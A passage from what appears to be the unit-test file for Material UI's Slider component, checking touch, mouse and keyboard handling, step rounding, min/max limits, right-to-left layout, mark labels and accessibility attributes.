expect(slider.getAttribute('aria-valuenow')).to.equal('90.53');\n\n      fireEvent.change(slider, { target: { value: '100' } });\n      expect(slider.getAttribute('aria-valuenow')).to.equal('90.53');\n\n      fireEvent.change(slider, { target: { value: '30' } });\n      expect(slider.getAttribute('aria-valuenow')).to.equal('30.45');\n\n      expect(document.activeElement).to.have.attribute('data-index', '0');\n    });\n\n    it('should focus the slider when dragging', async () => {\n      const { container } = render(\n        <Slider\n          slotProps={{ thumb: { 'data-testid': 'thumb' } }}\n          defaultValue={30}\n          step={10}\n          marks\n        />,\n      );\n      const slider = screen.getByRole('slider');\n      const thumb = screen.getByTestId('thumb');\n\n      stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        left: 0,\n      }));\n\n      fireEvent.mouseDown(thumb, {\n        buttons: 1,\n        clientX: 1,\n      });\n\n      await waitFor(() => {\n        expect(slider).toHaveFocus();\n      });\n    });\n\n    it('should support touch events', () => {\n      const handleChange = spy();\n      const { container } = render(<Slider defaultValue={[20, 30]} onChange={handleChange} />);\n      stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        height: 10,\n        bottom: 10,\n        left: 0,\n      }));\n\n      fireEvent.touchStart(container.firstChild, createTouches([{ identifier: 1, clientX: 20 }]));\n\n      fireEvent.touchMove(document.body, createTouches([{ identifier: 1, clientX: 21 }]));\n\n      fireEvent.touchEnd(document.body, createTouches([{ identifier: 1, clientX: 21 }]));\n\n      fireEvent.touchStart(container.firstChild, createTouches([{ identifier: 1, clientX: 21 }]));\n\n      fireEvent.touchMove(document.body, createTouches([{ identifier: 1, clientX: 22 }]));\n\n      fireEvent.touchEnd(document.body, createTouches([{ identifier: 1, clientX: 22 }]));\n\n      fireEvent.touchStart(container.firstChild, createTouches([{ identifier: 1, clientX: 22 }]));\n\n      fireEvent.touchMove(document.body, createTouches([{ identifier: 1, clientX: 22.1 }]));\n\n      fireEvent.touchEnd(document.body, createTouches([{ identifier: 1, clientX: 22.1 }]));\n\n      expect(handleChange.callCount).to.equal(2);\n      expect(handleChange.args[0][1]).to.deep.equal([21, 30]);\n      expect(handleChange.args[1][1]).to.deep.equal([22, 30]);\n    });\n\n    it('should not react to right clicks', () => {\n      const handleChange = spy();\n\n      render(<Slider onChange={handleChange} defaultValue={30} step={10} marks />);\n\n      const thumb = screen.getByRole('slider');\n      fireEvent.mouseDown(thumb, { button: 2 });\n      expect(handleChange.callCount).to.equal(0);\n    });\n  });\n\n  it('should not break when initial value is out of range', () => {\n    const { container } = render(<Slider value={[19, 41]} min={20} max={40} />);\n\n    stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n      width: 100,\n      height: 10,\n      bottom: 10,\n      left: 0,\n    }));\n\n    fireEvent.touchStart(\n      container.firstChild,\n      createTouches([{ identifier: 1, clientX: 100, clientY: 0 }]),\n    );\n\n    fireEvent.touchMove(document.body, createTouches([{ identifier: 1, clientX: 20, clientY: 0 }]));\n  });\n\n  it('focuses the thumb on when touching', () => {\n    render(<Slider value={0} min={20} max={40} />);\n    const thumb = screen.getByRole('slider');\n\n    fireEvent.touchStart(thumb, createTouches([{ identifier: 1, clientX: 0, clientY: 0 }]));\n\n    expect(thumb).toHaveFocus();\n  });\n\n  describe('prop: step', () => {\n    describe('when step is `null`', () => {\n      it('values are defined by mark values', () => {\n        const { container } = render(\n          <Slider\n            step={null}\n            marks={[{ value: 0 }, { value: 20 }, { value: 30 }]}\n            defaultValue={0}\n          />,\n        );\n        stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n          width: 100,\n          height: 10,\n          bottom: 10,\n          left: 0,\n        }));\n        const slider = screen.getByRole('slider');\n\n        fireEvent.touchStart(\n          container.firstChild,\n          createTouches([{ identifier: 1, clientX: 21, clientY: 0 }]),\n        );\n        expect(slider).to.have.attribute('aria-valuenow', '20');\n\n        fireEvent.change(slider, {\n          target: {\n            value: 21,\n          },\n        });\n        expect(slider).to.have.attribute('aria-valuenow', '30');\n\n        fireEvent.change(slider, {\n          target: {\n            value: 29,\n          },\n        });\n        expect(slider).to.have.attribute('aria-valuenow', '20');\n      });\n    });\n\n    it('change events with non integer numbers should work', () => {\n      render(<Slider defaultValue={0.2} min={-100} max={100} step={0.00000001} />);\n\n      const slider = screen.getByRole('slider');\n      act(() => {\n        slider.focus();\n      });\n\n      fireEvent.change(slider, { target: { value: '51.1' } });\n      expect(slider).to.have.attribute('aria-valuenow', '51.1');\n\n      fireEvent.change(slider, { target: { value: '0.00000005' } });\n      expect(slider).to.have.attribute('aria-valuenow', '5e-8');\n\n      fireEvent.change(slider, { target: { value: '1e-7' } });\n      expect(slider).to.have.attribute('aria-valuenow', '1e-7');\n    });\n\n    it('should round value to step precision', () => {\n      const { container } = render(<Slider defaultValue={0.2} min={0} max={1} step={0.1} />);\n      const slider = screen.getByRole('slider');\n\n      act(() => {\n        slider.focus();\n      });\n\n      stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        height: 10,\n        bottom: 10,\n        left: 0,\n      }));\n\n      act(() => {\n        slider.focus();\n      });\n\n      expect(slider).to.have.attribute('aria-valuenow', '0.2');\n\n      fireEvent.touchStart(\n        container.firstChild,\n        createTouches([{ identifier: 1, clientX: 20, clientY: 0 }]),\n      );\n\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 80, clientY: 0 }]),\n      );\n      expect(slider).to.have.attribute('aria-valuenow', '0.8');\n\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 40, clientY: 0 }]),\n      );\n      expect(slider).to.have.attribute('aria-valuenow', '0.4');\n    });\n\n    it('should not fail to round value to step precision when step is very small', () => {\n      const { container } = render(\n        <Slider defaultValue={0.00000002} min={0} max={0.0000001} step={0.00000001} />,\n      );\n      const slider = screen.getByRole('slider');\n\n      act(() => {\n        slider.focus();\n      });\n\n      stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        height: 10,\n        bottom: 10,\n        left: 0,\n      }));\n\n      act(() => {\n        slider.focus();\n      });\n\n      expect(slider).to.have.attribute('aria-valuenow', '2e-8');\n\n      fireEvent.touchStart(\n        container.firstChild,\n        createTouches([{ identifier: 1, clientX: 20, clientY: 0 }]),\n      );\n\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 80, clientY: 0 }]),\n      );\n      expect(slider).to.have.attribute('aria-valuenow', '8e-8');\n    });\n\n    it('should not fail to round value to step precision when step is very small and negative', () => {\n      const { container } = render(\n        <Slider defaultValue={-0.00000002} min={-0.0000001} max={0} step={0.00000001} />,\n      );\n      const slider = screen.getByRole('slider');\n\n      act(() => {\n        slider.focus();\n      });\n\n      stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        height: 10,\n        bottom: 10,\n        left: 0,\n      }));\n\n      act(() => {\n        slider.focus();\n      });\n\n      expect(slider).to.have.attribute('aria-valuenow', '-2e-8');\n\n      fireEvent.touchStart(\n        container.firstChild,\n        createTouches([{ identifier: 1, clientX: 80, clientY: 0 }]),\n      );\n\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 20, clientY: 0 }]),\n      );\n      expect(slider).to.have.attribute('aria-valuenow', '-8e-8');\n    });\n  });\n\n  describe('prop: disabled', () => {\n    it('should render the disabled classes', () => {\n      const { container } = render(<Slider disabled value={0} />);\n      expect(container.firstChild).to.have.class(classes.disabled);\n      expect(screen.getByRole('slider')).not.to.have.attribute('tabIndex');\n    });\n\n    // TODO: Don't skip once a fix for https://github.com/jsdom/jsdom/issues/3029 is released.\n    it.skipIf(isJsdom())(\n      'should not respond to drag events after becoming disabled',\n      function test() {\n        const { setProps, container } = render(<Slider defaultValue={0} />);\n\n        stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n          width: 100,\n          height: 10,\n          bottom: 10,\n          left: 0,\n        }));\n\n        fireEvent.touchStart(\n          container.firstChild,\n          createTouches([{ identifier: 1, clientX: 21, clientY: 0 }]),\n        );\n\n        const thumb = screen.getByRole('slider');\n\n        expect(thumb).to.have.attribute('aria-valuenow', '21');\n        expect(thumb).toHaveFocus();\n\n        setProps({ disabled: true });\n        expect(thumb).not.toHaveFocus();\n        expect(thumb).not.to.have.class(classes.active);\n\n        fireEvent.touchMove(\n          container.firstChild,\n          createTouches([{ identifier: 1, clientX: 30, clientY: 0 }]),\n        );\n\n        expect(thumb).to.have.attribute('aria-valuenow', '21');\n      },\n    );\n\n    // TODO: Don't skip once a fix for https://github.com/jsdom/jsdom/issues/3029 is released.\n    it.skipIf(isJsdom())('is not focused (visibly) after becoming disabled', function test() {\n      const { setProps } = render(<Slider defaultValue={0} />);\n\n      const thumb = screen.getByRole('slider');\n      act(() => {\n        thumb.focus();\n      });\n      setProps({ disabled: true });\n      expect(thumb).not.toHaveFocus();\n      expect(thumb).not.to.have.class(classes.focusVisible);\n    });\n\n    it('should be customizable in the theme', () => {\n      const theme = createTheme({\n        components: {\n          MuiSlider: {\n            styleOverrides: {\n              root: {\n                [`&.${classes.disabled}`]: {\n                  mixBlendMode: 'darken',\n                },\n              },\n            },\n          },\n        },\n      });\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Slider disabled value={0} />\n        </ThemeProvider>,\n      );\n      expect(container.firstChild).to.toHaveComputedStyle({\n        mixBlendMode: 'darken',\n      });\n    });\n  });\n\n  describe('prop: track', () => {\n    it('should render the track classes for false', () => {\n      const { container } = render(<Slider track={false} value={50} />);\n      expect(container.firstChild).to.have.class(classes.trackFalse);\n    });\n\n    it('should render the track classes for inverted', () => {\n      const { container } = render(<Slider track=\"inverted\" value={50} />);\n      expect(container.firstChild).to.have.class(classes.trackInverted);\n    });\n  });\n\n  describe('aria-valuenow', () => {\n    it('should update the aria-valuenow', () => {\n      render(<Slider defaultValue={50} />);\n      const slider = screen.getByRole('slider');\n      act(() => {\n        slider.focus();\n      });\n\n      fireEvent.change(slider, { target: { value: 51 } });\n      expect(slider).to.have.attribute('aria-valuenow', '51');\n\n      fireEvent.change(slider, { target: { value: 52 } });\n      expect(slider).to.have.attribute('aria-valuenow', '52');\n    });\n  });\n\n  describe('prop: min', () => {\n    it('should set the min and aria-valuemin on the input', () => {\n      const min = 150;\n      render(<Slider defaultValue={150} step={100} max={750} min={min} />);\n      const slider = screen.getByRole('slider');\n\n      expect(slider).to.have.attribute('aria-valuemin', String(min));\n      expect(slider).to.have.attribute('min', String(min));\n    });\n\n    it('should use min as the step origin', () => {\n      const min = 150;\n      render(<Slider defaultValue={150} step={100} max={750} min={min} />);\n      const slider = screen.getByRole('slider');\n      act(() => {\n        slider.focus();\n      });\n\n      expect(slider).to.have.attribute('aria-valuenow', String(min));\n    });\n\n    it('should not go less than the min', () => {\n      const min = 150;\n      render(<Slider defaultValue={150} step={100} max={750} min={min} />);\n      const slider = screen.getByRole('slider');\n      act(() => {\n        slider.focus();\n      });\n\n      fireEvent.change(slider, { target: { value: String(min - 100) } });\n      expect(slider).to.have.attribute('aria-valuenow', String(min));\n    });\n  });\n\n  describe('prop: max', () => {\n    it('should set the max and aria-valuemax on the input', () => {\n      const max = 750;\n      render(<Slider defaultValue={150} step={100} max={max} min={150} />);\n      const slider = screen.getByRole('slider');\n\n      expect(slider).to.have.attribute('aria-valuemax', String(max));\n      expect(slider).to.have.attribute('max', String(max));\n    });\n\n    it('should not go more than the max', () => {\n      const max = 750;\n      render(<Slider defaultValue={150} step={100} max={max} min={150} />);\n      const slider = screen.getByRole('slider');\n      act(() => {\n        slider.focus();\n      });\n\n      fireEvent.change(slider, { target: { value: String(max + 100) } });\n      expect(slider).to.have.attribute('aria-valuenow', String(max));\n    });\n\n    it('should reach right edge value', () => {\n      const { container } = render(<Slider defaultValue={90} min={6} max={108} step={10} />);\n\n      stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        height: 10,\n        bottom: 10,\n        left: 0,\n      }));\n\n      const thumb = screen.getByRole('slider');\n      act(() => {\n        thumb.focus();\n      });\n\n      expect(thumb).to.have.attribute('aria-valuenow', '90');\n\n      fireEvent.touchStart(\n        container.firstChild,\n        createTouches([{ identifier: 1, clientX: 20, clientY: 0 }]),\n      );\n\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 100, clientY: 0 }]),\n      );\n      expect(thumb).to.have.attribute('aria-valuenow', '106');\n\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 200, clientY: 0 }]),\n      );\n      expect(thumb).to.have.attribute('aria-valuenow', '108');\n\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 50, clientY: 0 }]),\n      );\n      expect(thumb).to.have.attribute('aria-valuenow', '56');\n\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: -100, clientY: 0 }]),\n      );\n      expect(thumb).to.have.attribute('aria-valuenow', '6');\n    });\n  });\n\n  describe('prop: valueLabelDisplay', () => {\n    it('should always display the value label according to on and off', () => {\n      const { setProps } = render(\n        <Slider\n          valueLabelDisplay=\"on\"\n          value={50}\n          slotProps={{ thumb: { 'data-testid': 'thumb' } }}\n        />,\n      );\n      expect(document.querySelector(`.${classes.valueLabelOpen}`)).not.to.equal(null);\n\n      setProps({\n        valueLabelDisplay: 'off',\n      });\n\n      expect(document.querySelector(`.${classes.valueLabelOpen}`)).to.equal(null);\n    });\n\n    it('should display the value label only on hover for auto', () => {\n      render(\n        <Slider\n          valueLabelDisplay=\"auto\"\n          value={50}\n          slotProps={{ thumb: { 'data-testid': 'thumb' } }}\n        />,\n      );\n\n      const thumb = screen.getByTestId('thumb');\n      expect(document.querySelector(`.${classes.valueLabelOpen}`)).to.equal(null);\n\n      fireEvent.mouseOver(thumb);\n\n      expect(document.querySelector(`.${classes.valueLabelOpen}`)).not.to.equal(null);\n    });\n\n    it('should be respected when using custom value label', () => {\n      function ValueLabelComponent(props) {\n        const { value, open } = props;\n        return (\n          <span data-testid=\"value-label\" className={open ? 'open' : ''}>\n            {value}\n          </span>\n        );\n      }\n      ValueLabelComponent.propTypes = { value: PropTypes.number };\n\n      const { setProps } = render(\n        <Slider slots={{ valueLabel: ValueLabelComponent }} valueLabelDisplay=\"on\" value={50} />,\n      );\n\n      expect(screen.queryByTestId('value-label')).to.have.class('open');\n\n      setProps({\n        valueLabelDisplay: 'off',\n      });\n\n      expect(screen.queryByTestId('value-label')).to.equal(null);\n    });\n  });\n\n  describe('markActive state', () => {\n    function getActives(container) {\n      return Array.from(container.querySelectorAll(`.${classes.mark}`)).map((node) =>\n        node.classList.contains(classes.markActive),\n      );\n    }\n\n    it('sets the marks active that are `within` the value', () => {\n      const marks = [{ value: 5 }, { value: 10 }, { value: 15 }];\n\n      const { container: container1 } = render(\n        <Slider min={0} max={20} value={12} marks={marks} />,\n      );\n      expect(getActives(container1)).to.deep.equal([true, true, false]);\n\n      const { container: container2 } = render(\n        <Slider min={0} max={20} value={[8, 12]} marks={marks} />,\n      );\n      expect(getActives(container2)).to.deep.equal([false, true, false]);\n    });\n\n    it('uses closed intervals for the within check', () => {\n      const { container: container1 } = render(\n        <Slider value={10} min={0} max={10} marks step={5} />,\n      );\n      expect(getActives(container1)).to.deep.equal([true, true, true]);\n\n      const { container: container2 } = render(\n        <Slider value={9.99999} min={0} max={10} marks step={5} />,\n      );\n      expect(getActives(container2)).to.deep.equal([true, true, false]);\n    });\n\n    it('should support inverted track', () => {\n      const marks = [{ value: 5 }, { value: 10 }, { value: 15 }];\n\n      const { container: container1 } = render(\n        <Slider min={0} max={20} value={12} marks={marks} track=\"inverted\" />,\n      );\n      expect(getActives(container1)).to.deep.equal([false, false, true]);\n\n      const { container: container2 } = render(\n        <Slider min={0} max={20} value={[8, 12]} marks={marks} track=\"inverted\" />,\n      );\n      expect(getActives(container2)).to.deep.equal([true, false, true]);\n    });\n  });\n\n  it('should forward mouseDown', () => {\n    const handleMouseDown = spy();\n    const { container } = render(<Slider disabled onMouseDown={handleMouseDown} value={0} />);\n    fireEvent.mouseDown(container.firstChild);\n    expect(handleMouseDown.callCount).to.equal(1);\n  });\n\n  describe('rtl', () => {\n    it('should add direction css', () => {\n      render(\n        <ThemeProvider\n          theme={createTheme({\n            direction: 'rtl',\n          })}\n        >\n          <Slider defaultValue={30} />\n        </ThemeProvider>,\n      );\n\n      const thumb = screen.getByRole('slider');\n      act(() => {\n        thumb.focus();\n      });\n\n      expect(thumb.style.direction).to.equal('rtl');\n    });\n\n    it('should handle RTL', () => {\n      const handleChange = spy();\n      const { container } = render(\n        <ThemeProvider\n          theme={createTheme({\n            direction: 'rtl',\n          })}\n        >\n          <Slider\n            value={30}\n            onChange={handleChange}\n            slotProps={{ thumb: { 'data-testid': 'thumb' } }}\n          />\n        </ThemeProvider>,\n      );\n      const thumb = screen.getByTestId('thumb');\n      expect(thumb.style.right).to.equal('30%');\n\n      stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        height: 10,\n        bottom: 10,\n        left: 0,\n      }));\n\n      fireEvent.touchStart(\n        container.firstChild,\n        createTouches([{ identifier: 1, clientX: 20, clientY: 0 }]),\n      );\n\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 22, clientY: 0 }]),\n      );\n\n      expect(handleChange.callCount).to.equal(2);\n      expect(handleChange.args[0][1]).to.equal(80);\n      expect(handleChange.args[1][1]).to.equal(78);\n    });\n  });\n\n  describe('keyboard interactions', () => {\n    [\n      ['ltr', 'horizontal', ['ArrowLeft', 'ArrowDown'], ['ArrowRight', 'ArrowUp']],\n      ['ltr', 'vertical', ['ArrowLeft', 'ArrowDown'], ['ArrowRight', 'ArrowUp']],\n      ['rtl', 'horizontal', ['ArrowRight', 'ArrowDown'], ['ArrowLeft', 'ArrowUp']],\n      ['rtl', 'vertical', ['ArrowRight', 'ArrowDown'], ['ArrowLeft', 'ArrowUp']],\n    ].forEach((entry) => {\n      const [direction, orientation, decrementKeys, incrementKeys] = entry;\n\n      describe(`${direction}`, () => {\n        describe(`orientation: ${orientation}`, () => {\n          decrementKeys.forEach((key) => {\n            it(`key: ${key} decrements the value`, () => {\n              render(\n                <ThemeProvider\n                  theme={createTheme({\n                    direction,\n                  })}\n                >\n                  <Slider defaultValue={50} orientation={orientation} />\n                </ThemeProvider>,\n              );\n\n              const slider = screen.getByRole('slider');\n              expect(slider).to.have.attribute('aria-valuenow', '50');\n\n              act(() => {\n                slider.focus();\n              });\n\n              fireEvent.keyDown(slider, { key });\n              expect(slider).to.have.attribute('aria-valuenow', '49');\n\n              fireEvent.keyDown(slider, { key });\n              expect(slider).to.have.attribute('aria-valuenow', '48');\n            });\n          });\n\n          incrementKeys.forEach((key) => {\n            it(`key: ${key} increments the value`, () => {\n              render(\n                <ThemeProvider\n                  theme={createTheme({\n                    direction,\n                  })}\n                >\n                  <Slider defaultValue={50} orientation={orientation} />\n                </ThemeProvider>,\n              );\n\n              const slider = screen.getByRole('slider');\n              expect(slider).to.have.attribute('aria-valuenow', '50');\n\n              act(() => {\n                slider.focus();\n              });\n\n              fireEvent.keyDown(slider, { key });\n              expect(slider).to.have.attribute('aria-valuenow', '51');\n\n              fireEvent.keyDown(slider, { key });\n              expect(slider).to.have.attribute('aria-valuenow', '52');\n            });\n          });\n\n          it('key: PageUp and key: PageDown change the value based on `shiftStep`', () => {\n            render(\n              <ThemeProvider\n                theme={createTheme({\n                  direction,\n                })}\n              >\n                <Slider defaultValue={50} orientation={orientation} shiftStep={5} />\n              </ThemeProvider>,\n            );\n\n            const slider = screen.getByRole('slider');\n            expect(slider).to.have.attribute('aria-valuenow', '50');\n\n            act(() => {\n              slider.focus();\n            });\n\n            fireEvent.keyDown(slider, { key: 'PageUp' });\n            expect(slider).to.have.attribute('aria-valuenow', '55');\n\n            fireEvent.keyDown(slider, { key: 'PageDown' });\n            expect(slider).to.have.attribute('aria-valuenow', '50');\n\n            fireEvent.keyDown(slider, { key: 'PageDown' });\n            expect(slider).to.have.attribute('aria-valuenow', '45');\n          });\n\n          it('key: End sets the value to max', () => {\n            render(\n              <ThemeProvider\n                theme={createTheme({\n                  direction,\n                })}\n              >\n                <Slider defaultValue={50} max={99} orientation={orientation} />\n              </ThemeProvider>,\n            );\n\n            const slider = screen.getByRole('slider');\n            expect(slider).to.have.attribute('aria-valuenow', '50');\n\n            act(() => {\n              slider.focus();\n            });\n\n            fireEvent.keyDown(slider, { key: 'End' });\n            expect(slider).to.have.attribute('aria-valuenow', '99');\n          });\n\n          it('key: Home sets the value to min', () => {\n            render(\n              <ThemeProvider\n                theme={createTheme({\n                  direction,\n                })}\n              >\n                <Slider defaultValue={50} min={1} orientation={orientation} />\n              </ThemeProvider>,\n            );\n\n            const slider = screen.getByRole('slider');\n            expect(slider).to.have.attribute('aria-valuenow', '50');\n\n            act(() => {\n              slider.focus();\n            });\n\n            fireEvent.keyDown(slider, { key: 'Home' });\n            expect(slider).to.have.attribute('aria-valuenow', '1');\n          });\n\n          describe('when `step` is `null` and values are restricted by `marks`', () => {\n            decrementKeys.forEach((key) => {\n              it(`key: ${key} decrements the value`, () => {\n                render(\n                  <ThemeProvider\n                    theme={createTheme({\n                      direction,\n                    })}\n                  >\n                    <Slider\n                      step={null}\n                      orientation=\"horizontal\"\n                      marks={[{ value: 9 }, { value: 19 }, { value: 29 }, { value: 79 }]}\n                      defaultValue={79}\n                    />\n                  </ThemeProvider>,\n                );\n\n                const slider = screen.getByRole('slider');\n                expect(slider).to.have.attribute('aria-valuenow', '79');\n\n                act(() => {\n                  slider.focus();\n                });\n\n                fireEvent.keyDown(slider, { key });\n                expect(slider).to.have.attribute('aria-valuenow', '29');\n\n                fireEvent.keyDown(slider, { key });\n                expect(slider).to.have.attribute('aria-valuenow', '19');\n              });\n            });\n\n            incrementKeys.forEach((key) => {\n              it(`key: ${key} increments the value`, () => {\n                render(\n                  <ThemeProvider\n                    theme={createTheme({\n                      direction,\n                    })}\n                  >\n                    <Slider\n                      step={null}\n                      orientation=\"horizontal\"\n                      marks={[{ value: 9 }, { value: 19 }, { value: 29 }, { value: 79 }]}\n                      defaultValue={9}\n                    />\n                  </ThemeProvider>,\n                );\n\n                const slider = screen.getByRole('slider');\n                expect(slider).to.have.attribute('aria-valuenow', '9');\n\n                act(() => {\n                  slider.focus();\n                });\n\n                fireEvent.keyDown(slider, { key });\n                expect(slider).to.have.attribute('aria-valuenow', '19');\n\n                fireEvent.keyDown(slider, { key });\n                expect(slider).to.have.attribute('aria-valuenow', '29');\n              });\n            });\n          });\n        });\n      });\n    });\n\n    it('stops at the max value with custom marks', () => {\n      const handleChange = stub();\n      render(\n        <Slider\n          marks={[{ value: 10 }, { value: 20 }, { value: 30 }]}\n          step={null}\n          value={30}\n          onChange={handleChange}\n        />,\n      );\n\n      const slider = screen.getByRole('slider');\n      expect(slider).to.have.attribute('aria-valuenow', '30');\n\n      act(() => {\n        slider.focus();\n      });\n\n      fireEvent.keyDown(slider, { key: 'ArrowRight' });\n\n      expect(handleChange.callCount).to.equal(0);\n      expect(slider).to.have.attribute('aria-valuenow', '30');\n    });\n\n    it('stops at the min value with custom marks', () => {\n      const handleChange = stub();\n      render(\n        <Slider\n          marks={[{ value: 10 }, { value: 20 }, { value: 30 }]}\n          step={null}\n          value={10}\n          onChange={handleChange}\n        />,\n      );\n\n      const slider = screen.getByRole('slider');\n      expect(slider).to.have.attribute('aria-valuenow', '10');\n\n      act(() => {\n        slider.focus();\n      });\n\n      fireEvent.keyDown(slider, { key: 'ArrowLeft' });\n\n      expect(handleChange.callCount).to.equal(0);\n      expect(slider).to.have.attribute('aria-valuenow', '10');\n    });\n  });\n\n  describe('warnings', () => {\n    beforeEach(() => {\n      PropTypes.resetWarningCache();\n    });\n\n    it('should warn if aria-valuetext is provided', () => {\n      expect(() => {\n        PropTypes.checkPropTypes(\n          Slider.propTypes,\n          { classes: {}, value: [20, 50], 'aria-valuetext': 'hot' },\n          'prop',\n          'MockedSlider',\n        );\n      }).toErrorDev('MUI: You need to use the `getAriaValueText` prop instead of');\n    });\n\n    it('should warn if aria-label is provided', () => {\n      expect(() => {\n        PropTypes.checkPropTypes(\n          Slider.propTypes,\n          { classes: {}, value: [20, 50], 'aria-label': 'hot' },\n          'prop',\n          'MockedSlider',\n        );\n      }).toErrorDev('MUI: You need to use the `getAriaLabel` prop instead of');\n    });\n\n    it('should warn when switching from controlled to uncontrolled', () => {\n      const { setProps } = render(<Slider value={[20, 50]} />);\n\n      expect(() => {\n        setProps({ value: undefined });\n      }).toErrorDev(\n        'MUI: A component is changing the controlled value state of Slider to be uncontrolled.',\n      );\n    });\n\n    it('should warn when switching between uncontrolled to controlled', () => {\n      const { setProps } = render(<Slider />);\n\n      expect(() => {\n        setProps({ value: [20, 50] });\n      }).toErrorDev(\n        'MUI: A component is changing the uncontrolled value state of Slider to be controlled.',\n      );\n    });\n  });\n\n  it('should support getAriaValueText', () => {\n    const getAriaValueText = (value) => `${value}°C`;\n\n    render(<Slider value={[20, 50]} getAriaValueText={getAriaValueText} />);\n\n    const sliders = screen.getAllByRole('slider');\n\n    expect(sliders[0]).to.have.attribute('aria-valuetext', '20°C');\n    expect(sliders[1]).to.have.attribute('aria-valuetext', '50°C');\n  });\n\n  it('should support getAriaLabel', () => {\n    const getAriaLabel = (index) => `Label ${index}`;\n    render(<Slider value={[20, 50]} getAriaLabel={getAriaLabel} />);\n    const sliders = screen.getAllByRole('slider');\n\n    expect(sliders[0]).to.have.attribute('aria-label', 'Label 0');\n    expect(sliders[1]).to.have.attribute('aria-label', 'Label 1');\n  });\n\n  it('should allow customization of the marks', () => {\n    const { container } = render(\n      <Slider\n        marks={[\n          { value: 0, label: 0 },\n          { value: 20, label: 20 },\n          { value: 30, label: 30 },\n        ]}\n        defaultValue={0}\n      />,\n    );\n    expect(container.querySelectorAll(`.${classes.markLabel}`).length).to.equal(3);\n    expect(container.querySelectorAll(`.${classes.mark}`).length).to.equal(3);\n    expect(container.querySelectorAll(`.${classes.markLabel}[data-index=\"2\"]`).length).to.equal(1);\n    expect(container.querySelectorAll(`.${classes.mark}[data-index=\"2\"]`).length).to.equal(1);\n  });\n\n  it('should correctly display mark labels when ranges slider have the same start and end', () => {\n    const getMarks = (value) => value.map((val) => ({ value: val, label: val }));\n\n    const { container, setProps } = render(\n      <Slider value={[100, 100]} marks={getMarks([100, 100])} />,\n    );\n    expect(container.querySelectorAll(`.${classes.markLabel}`).length).to.equal(2);\n\n    setProps({ value: [40, 60], marks: getMarks([40, 60]) });\n    expect(container.querySelectorAll(`.${classes.markLabel}`).length).to.equal(2);\n  });\n\n  it('should pass \"name\" and \"value\" as part of the event.target for onChange', () => {\n    const handleChange = stub().callsFake((event) => event.target);\n\n    render(<Slider onChange={handleChange} name=\"change-testing\" value={3} />);\n\n    const slider = screen.getByRole('slider');\n\n    act(() => {\n      slider.focus();\n    });\n    fireEvent.change(slider, {\n      target: {\n        value: 4,\n      },\n    });\n\n    expect(handleChange.callCount).to.equal(1);\n    const target = handleChange.firstCall.returnValue;\n    expect(target).to.deep.equal({\n      name: 'change-testing',\n      value: 4,\n    });\n  });\n\n  describe('prop: ValueLabelComponent', () => {\n    it('receives the formatted value', () => {\n      function ValueLabelComponent(props) {\n        const { value } = props;\n        return <span data-testid=\"value-label\">{value}</span>;\n      }\n      ValueLabelComponent.propTypes = { value: PropTypes.string };\n\n      render(\n        <Slider\n          value={10}\n          slots={{ valueLabel: ValueLabelComponent }}\n          valueLabelDisplay=\"on\"\n          valueLabelFormat={(n) => n.toString(2)}\n        />,\n      );\n\n      expect(screen.getByTestId('value-label')).to.have.text('1010');\n    });\n  });\n\n  it('should not override the event.target on touch events', () => {\n    const handleChange = spy();\n    const handleNativeEvent = spy();\n    const handleEvent = spy();\n    function Test() {\n      React.useEffect(() => {\n        document.addEventListener('touchstart', handleNativeEvent);\n        return () => {\n          document.removeEventListener('touchstart', handleNativeEvent);\n        };\n      });\n\n      return (\n        <div onTouchStart={handleEvent}>\n          <Slider data-testid=\"slider\" value={0} onChange={handleChange} />\n        </div>\n      );\n    }\n\n    render(<Test />);\n    const slider = screen.getByTestId('slider');\n\n    stub(slider, 'getBoundingClientRect').callsFake(() => ({\n      width: 100,\n      height: 10,\n      bottom: 10,\n      left: 0,\n    }));\n\n    fireEvent.touchStart(slider, createTouches([{ identifier: 1, clientX: 0 }]));\n\n    expect(handleChange.callCount).to.equal(0);\n    expect(handleNativeEvent.callCount).to.equal(1);\n    expect(handleNativeEvent.firstCall.args[0]).to.have.property('target', slider);\n    expect(handleEvent.callCount).to.equal(1);\n    expect(handleEvent.firstCall.args[0]).to.have.property('target', slider);\n  });\n\n  it('should not override the event.target on mouse events', () => {\n    const handleChange = spy();\n    const handleNativeEvent = spy();\n    const handleEvent = spy();\n    function Test() {\n      React.useEffect(() => {\n        document.addEventListener('mousedown', handleNativeEvent);\n        return () => {\n          document.removeEventListener('mousedown', handleNativeEvent);\n        };\n      });\n\n      return (\n        <div onMouseDown={handleEvent}>\n          <Slider data-testid=\"slider\" value={0} onChange={handleChange} />\n        </div>\n      );\n    }\n    render(<Test />);\n    const slider = screen.getByTestId('slider');\n\n    stub(slider, 'getBoundingClientRect').callsFake(() => ({\n      width: 100,\n      height: 10,\n      bottom: 10,\n      left: 0,\n    }));\n\n    fireEvent.mouseDown(slider);\n\n    expect(handleChange.callCount).to.equal(0);\n    expect(handleNativeEvent.callCount).to.equal(1);\n    expect(handleNativeEvent.firstCall.args[0]).to.have.property('target', slider);\n    expect(handleEvent.callCount).to.equal(1);\n    